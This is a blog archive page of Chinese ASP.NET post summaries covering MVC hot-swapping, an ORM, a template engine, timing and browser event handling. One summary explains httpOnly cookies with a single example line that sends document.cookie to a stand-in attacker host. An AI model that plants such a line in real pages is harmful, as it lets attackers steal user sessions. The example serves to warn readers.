RSS 2.0 Feed
AspNet
摘要:让 ASP.NET MVC 支持 HotSwap 下载这次的例子代码 [ http://www.cnblogs.com/Files/Lostinet/Asp35Website1.zip ]   在HowToStart那帖中,我提到了ASP.NET MVC的问题 :如果修改一次Controller的代码,就导致ASP.NET重启一次 , 那么会不会很麻烦? 有时候一个项目大一点, ASP.NET启动一次需要几十秒, 那样的等待真的很浪费时间. 与思归的交谈中, 他提到了HotSwap的概念. "热插拔" - 编写代码后不需要重新编译或重启ASP.NET. 怎样实现这个功能呢? 现在MVC的文档很少. 只能通过Reflector去找答案了. 一个Request,从Url, 一直到了具体的 Controller , 经过了那些步骤呢? 下面列出了这个步骤的详细:1. Url2. RouteTable3. MvcRouteHandler4. MvcHandler5. ControllerBuilder6. ControllerFactory7. Controller 这个过程中, MvcRouteHandler 是连接 RouteTable 和 MvcHandler 的桥梁. MvcHandler则根据传递过来的信息, 根据某种规则, 从所有的Assembly中找到对应的Controller类 然后把类型信息传递给 ControllerBuilder/ControllerFactory , 用于指定一个更具体的Controller.(类似RuntimeEntity那篇文章说的子类化模式..) 看来, 需要对MvcHandler下手了. 而 MvcRouteHandler 则就是 MvcHandler 的 Factory. 所以同时也要编写MvcRouteHandler的实现 :public class HotSwapMvcRouteHandler : System.Web.Mvc.MvcRouteHandler{    protected override IHttpHandler GetHttpHandler(System.Web.Mvc.RequestContext requestContext)    {        HotSwapMvcHandler handler = new HotSwapMvcHandler();        handler.RequestContext = requestContext;        return handler;    }}public class HotSwapMvcHandler : System.Web.Mvc.MvcHandler{    protected override Type GetControllerType(string controller)    {        string name = controller + "Controller";        string file = "~/Controllers/" + name + ".cs";        if (!System.IO.File.Exists(HttpContext.Current.Server.MapPath(file)))            return base.GetControllerType(controller);        System.Reflection.Assembly......[阅读全文]

posted @ | Feedback (7) | Filed Under [ AspNet ]

摘要: 自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性. 这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie . 而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性. 但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果? 例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去. 你知道cnblogs.com允许用户随意增加javascript的. 那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去: hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie) 当然,ASP.NET发送给客户端的信息是加密过的. 但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.   所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗. 但是如果使用IE6SP1,IE7,就不会存在该问题. 因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息....[阅读全文]

posted @ | Feedback (7) | Filed Under [ Browser AspNet ]

摘要:之前发过3个相关的文章:AbstractRecord 预告. (关键字 ORM,ActiveRecord,DomainModel)CSPAbstractRecord之Teddy's KB样式的性能报告.近况:AbstractRecord改名为RuntimeEntity,以及一个MVC框架的预告.因为最近比较忙. 所以一直没有继续做那个工程.现在稍微空闲了些. 所以把之前做的版本整理了一下. 提供下载:/Files/Lostinet/RuntimeEntityPreview.rar压缩文件内容简介:RuntimeEntityPreview.dll 这个dll就是框架的运行库.RuntimeEntityGenerator 使用这个帮助生成对应的类.(不是必须)RuntimeEntityPetshop 一个可以执行运行的例子. 根据PetShop改编. 需要关联Database文件夹内的数据库文件.RuntimeEntityStart 一个中文描述的Console程序. 用于帮助读者最快速度了解RuntimeEntity.什么人该下载它 ?一 : 看过之前的文章的,感兴趣的,想测试一下性能的.二 : 自己也写过数据库访问框架的,可以拿来对比一下.三 : 一直都没找到合适自己的数据库访问框架的.四 : 总觉得数据库访问框架很复杂,想学习又怕难的.... RuntimeEntityPreview有什么好玩的?+ : 极简单的代码编写与定制模式. 虽然比不上SubSonic方便,但是比SubSonic拥有更多的定制能力.+ : 极高性能的实现. 欢迎拿去与各种情况做性能的比较.+ : 有自制的Linq Provider. 可以执行这样的代码:var q = from row in Order.LinqSourcewhere row.Customer.City.Substring(3).Trim().StartsWith("don")select row;有兴趣的可以考虑用Reflector打开RuntimeEntityQuery<T>.QueryProvider研究一下.+ : 支持DLinq. 通过实现MappingSource,用DLinq来访问数据库:(但是目前RuntimeEntityMappingSource没有包含在RuntimeEntityPreview内)关于更加具体的,如何使用这个RunimeEntity,可以参考AbstractRecord预告那篇文章.或者参考这篇还没有开始写的文章: [占个位置 , 如何使用RuntimeEntity访问数据库]另外我们正在找有一年经验以上初中级的界面程序员:CuteSoft珠海办事处诚招2位界面程序员 ...[阅读全文]

posted @ | Feedback (1) | Filed Under [ AspNet ]

摘要:AbstractRecord这个名字不是很好,因为我不是太喜欢AEIOU开头的名词.所以我选择了一个在google上,记录很少的名字,作为这个数据库访问框架的名字:RuntimeEntity这个框架远在8月份就已经完成了一大半.然后就停止了.因为这段时间无论是工作还是生活,都有更加重要的事情要做.这个星期将完成那些重要的事情,我会用业余的时间,整理一下RuntimeEntity,然后发布一个预览版本. 这次写BLOG,完全是受微软ASP.NET MVC的刺激. 微软的新的MVC框架, 似乎抛弃了ASP.NET控件,抛弃了ASP.NET AJAX.回归到纯粹Render HTML的地步.我完全无法理解微软的这个做法. 当然,在那个MVC中,程序员仍然可以用XmlHttpRequest,或者其他封装好的框架去进行AJAX,但是ASP.NET AJAX呢?没有回发,这不止否认了ASP.NET AJAX,甚至还否认了ASP.NET本身. 微软这么大的公司,难道就没有一条兼容控件和ASP.NET AJAX的做法吗?甚至沦落到被人骂是抄袭也在所不惜? 新的MVC框架出来了对ASP.NET又有什么意义?为了变相承认,ASP.NET的控件模式已经不适合WEB的发展了? 请大家宽恕我对MS这么严厉的指控. 我的目的纯粹是想突出我的MVC框架的特色 : 支持控件的模板引擎.其实当初, 我做的不是MVC, 而只是需要实现一个模板引擎, 用于把视图分离出来, 方便美工.和网上的其他模板引擎是类似的, 利用PropertyBag和后期绑定, 把内容显示出来. 不同的地方只是语法方面很针对美工的编程水平, 做到条件和循环语句非常简单和适合WYSIWYG. 但是我把我的设计推荐给老板时, 一下就被否决了 : ASP.NET控件怎么办 ?是的. 如果一个新的东西, 抛弃了太多成熟的技术, 那么固然这个新东西的设计可以更加自由.但是这个新的东西, 能让人接受吗? 如果微软做一个, 那么依然会有很多人追捧. 再难也会有人接受.但是像我这样微不足道的人, 要推广自己的技术, 就不是那么简单了. 就像MS内某位语言大师说的一样, DotNet在设计的时候, 为了兼容老的程序, 为了和不同程序之间的整合,提供了很多"救生圈". DotNet的Interop就是一个很好的例子. 当我做RuntimeEntity的时候,提供了SQL语句的支持,就有人质疑了.要分清楚的是,搞科研和搞工程是2回事.现在我要做的东西,一定要是一种过渡的方案,既提供新的功能,又要和老功能兼容. 综上,我对我的模板引擎进行了革新. 让它支持ASP.NET的Control,Postback和AJAX. 其实其中的原理, 是非常简单的. 换个说法, 如果把这个引擎,说成是 "Layout", 我想会更加容易让人理解. 看看传统的ASP.NET页面 : Test.aspx:<table> <tr><td>Username:</td><td><asp:TextBox runat=server ID=Username></td></tr> <tr><td>Password:</td><td><asp:TextBox runat=server ID=Password></td></tr> <tr><td>&nbsp;</td><td><asp:Button runat=server ID="LoginBtn" Text="Login"></td></tr></table> 新的Layout方案:Test.aspx:<asp:TextBox runat=server ID=Username><asp:TextBox runat=server ID=Password><asp:Button runat=server ID="LoginBtn" Text="Login"> Test.view.html:<table> <tr><td>Username:</td><td>{#render Username}</td></tr> <tr><td>Password:</td><td>{#render Password}</td></tr> <tr><td>&nbsp;</td><td>{#render LoginBtn}</td></tr></table> 新的方案把一个ASPX文件, 分割出另外一个html,用于装载Layout.可以看到的是, 新的Test.aspx本身,已经完全没有排版了.里面纯粹就是放置大量程序用到的控件.而在Test.view.html,则定义了这个页面的布局. 把控件Render到Template中,就是这个MVC方案兼容ASP.NET的核心思想. 做到这一步,这个MVC框架就和其他的纯粹生成HTML的框架完全不同了. 1. 如何支持MasterPage?Test.view.html的输出过程是这样的:Page.Render -> MasterPage.Render -> MVC.Render -> 整合Test.view.html+控件也就是说,这个模板的输出目标, 不是Response, 而是控件Render过程中的一个部分. 这个部分的内容被MasterPage包围着, 所以能很方便地应用上MasterPage. 2. 如何做到回发?回发和回发后调用控件的事件,是ASP.NET最重要的思想. 也是我不能离开ASP.NET的原因. 其他的所谓[ControllerAction],都不会比这个方便.因为ViewState能传递很多东西,而QueryString不能.就如MasterPage的流程一样,控件被Render出去后,是和ASP.NET的回发机制兼容的.当页面回发时,ASP.NET的其他基础流程依然能正常运作.换个角度来说,这个MVC框架处理的只是Render的过程,改变了控件在浏览器上的位置.这完全不会对ASP.NET的页面生命期造成任何影响. 3. 如何支持ASP.NET AJAX?ASP.NET AJAX不愧是一种优秀的局部SmartNaviagtion方案. 它让程序员不需要花精力到DHTML中就能实现界面的局部刷新.它的实现的机制,是通过拦截Page的Render过程,提取需要刷新的内容来返回给客户端.这样一来,它就和我的MVC冲突了 : 2个都尝试拦截Render过程的东西, 又怎能放在一起工作 ?这个MVC能支持AJAX的原因是, MVC拦截的不是Page,而只是内部一个控件的Render过程.过程是 : AJAX-Page.Render -> Form.Render -> UpdatePanel.Render -> MVC.Render可以看到的是, MVC.Render的过程, 是被包在UpdatePanel的Render里. 所以MVC生成的内容, 能够通过AJAX发送到客户端,......[阅读全文]

posted @ | Feedback (13) | Filed Under [ AspNet ]

摘要:最近我在做一个开发框架以及在上面建立的应用程序. 开发框架中包含了一个叫 AbstractRecord 的技术. 这个技术用于访问数据库,但是我不愿意把它称为ORM. 这个东西将能够大大地提高基于数据库的程序的开发速度. 由于篇幅太长,我放到文章区去了. http://blog.joycode.com/lostinet/articles/107276.aspx  http://www.cnblogs.com/Lostinet/archive/2007/08/15/857039.html...[阅读全文]

posted @ | Feedback (10) | Filed Under [ 迷失中 AspNet ]

摘要:DateTime.Now的精度是很低,这个低的意思是,两次获取的DateTime.Now的Ticks的差,只是一个较大数的整数倍。例如在我的机器上,这个差最小是10.114ms。所以,如果我用DateTime.Now来计算时间差,那么就无法精确到10ms以内。 后来发现ASP.NET的TRACE的精度很高,用Reflector看它的实现,发现了它是使用这两个方法的: 参考MSDN:How To: Time Managed Code Using QueryPerformanceCounter and QueryPerformanceFrequency 我自己了按照这个写了个类,代码如下using System; using System.Runtime.InteropServices; public class A { [DllImport("kernel32.dll")] static extern bool QueryPerformanceCounter([In, Out] ref long lpPerformanceCount); [DllImport("kernel32.dll")] static extern bool QueryPerformanceFrequency([In, Out] ref long lpFrequency); static long _f = 0; static public long GetTickCount() { long f = _f; if (f == 0) { ......[阅读全文]

posted @ | Feedback (18) | Filed Under [ DotNet AspNet ]

摘要:在FireFox下编写事件处理函数是很麻烦的事.因为FireFox并没有 window.event . 如果要得到 event 对象,就必须要声明时间处理函数的第一个参数为event.所以为了兼容IE与FireFox,一般的事件处理方法为:btn.onclick=handle_btn_click;function handle_btn_click(evt){    if(evt==null)evt=window.event;//IE    //处理事件.}对于简单的程序,这不算麻烦.但对于一些复杂的程序,某写函数根本就不是直接与事件挂钩的.如果要把event传进该参数,那么所有的方法都要把event传来传去..这简直就是噩梦.下面介绍一个解决这个麻烦事的方法,与原理.JScript中,函数的调用是有一个 func.caller 这个属性的.例如 function A(){    B();}function B(){    alert(B.caller);}如果B被A调用,那么B.caller就是A另外,函数有一个arguments属性. 这个属性可以遍历函数当前执行的参数:function myalert(){    var arr=[];    for(var i=0;i阅读全文]

posted @ | Feedback (25) | Filed Under [ Browser AspNet ]

摘要: 你的程序支持 IIS6 - Web Garden 吗?   很就没有更新BLOG了呵呵。 刚过来深圳,时间都是乱来的~~~ 今天帮客户搞定一个部署上的问题,花了我半天的时间。。555。   后来才发现原来是IIS6 Web Garden的问题。   IIS6 Web Garden 指的是一个应用程序可以成多个进程(w3wp.exe)来执行,一次请求使用其中的一个。用这个的主要目的是提高程序的可用性。当其中一个进程发生错误,那么也不会影响其他进程。发生错误的进程可以根据规则关闭,而其他的进程则可以继续工作。   可惜不是每个应用程序都支持Web Garden的。 例如我做的那个就不是。   一般来说 , 不支持 Web Garden 的原因是各应用程序的内存状态是不同的。虽然是访问同一个网站 , 当访问第一个进程时,进程的内存如果纪录了某些重要的信息,而当访问第二个进程的时,却无法再得到那些信息时,那么程序就不一定能运行正常,或者会发生错误。   所以,一般使用 InProc HttpSessionState / HttpApplicationState / 静态变量来储存关键信息 的程序是不支持 Web Garden的。另外平时说Session信息丢失,也和这个有关。一般很多程序都使用Cache来储存临时数据,但如果某些被修改或删除的数据没有在该进程的Cache中得到更新,那么也会很容易导致程序出错。 如果你的程序用上面说的方法,并且在Windows2003/IIS6中发生奇怪的错误,那么请检查一下Web Garden的设置。 如果你希望应用程序支持Web Garden,甚至是支持集群,那么最简单的办法就是,尽量用Cookie来纪录登陆信息,以及所有的数据获取的动作都是从数据库中读取。例如Duwamish就是这种类型的程序。   如果一个应用程序连Web Garden都不支持,那么就更难支持集群了。...[阅读全文]

posted @ | Feedback (26) | Filed Under [ AspNet ]

摘要:JScriptProtector 是一个用来保护JScript代码的组件。因为版权不属于我,所以无法公开代码。 现在我在我的服务器上放了一个简单的服务,写惯JS的可以上去帮你的脚本加加密哦。 http://www.lostinet.com/jsps/ (举贤不避亲嘛。:-)...[阅读全文]

posted @ | Feedback (15) | Filed Under [ DotNet Browser AspNet ]

摘要:不知道各位有没有做过用于打印的Web页。 我帮客户做这个页面的时候,喜欢把某些区域定为contentEditable="true",目的是让客户可以随便修改这些地方。 例如: <Asp:Panel runat=server contentEditable="true"/>..<Asp:Label runat=server id=PrintTitle Text=PrintTitle/>..</Asp:Panel>...[阅读全文]

posted @ | Feedback (17) | Filed Under [ 迷失中 DotNet AspNet ]

Full AspNet Archive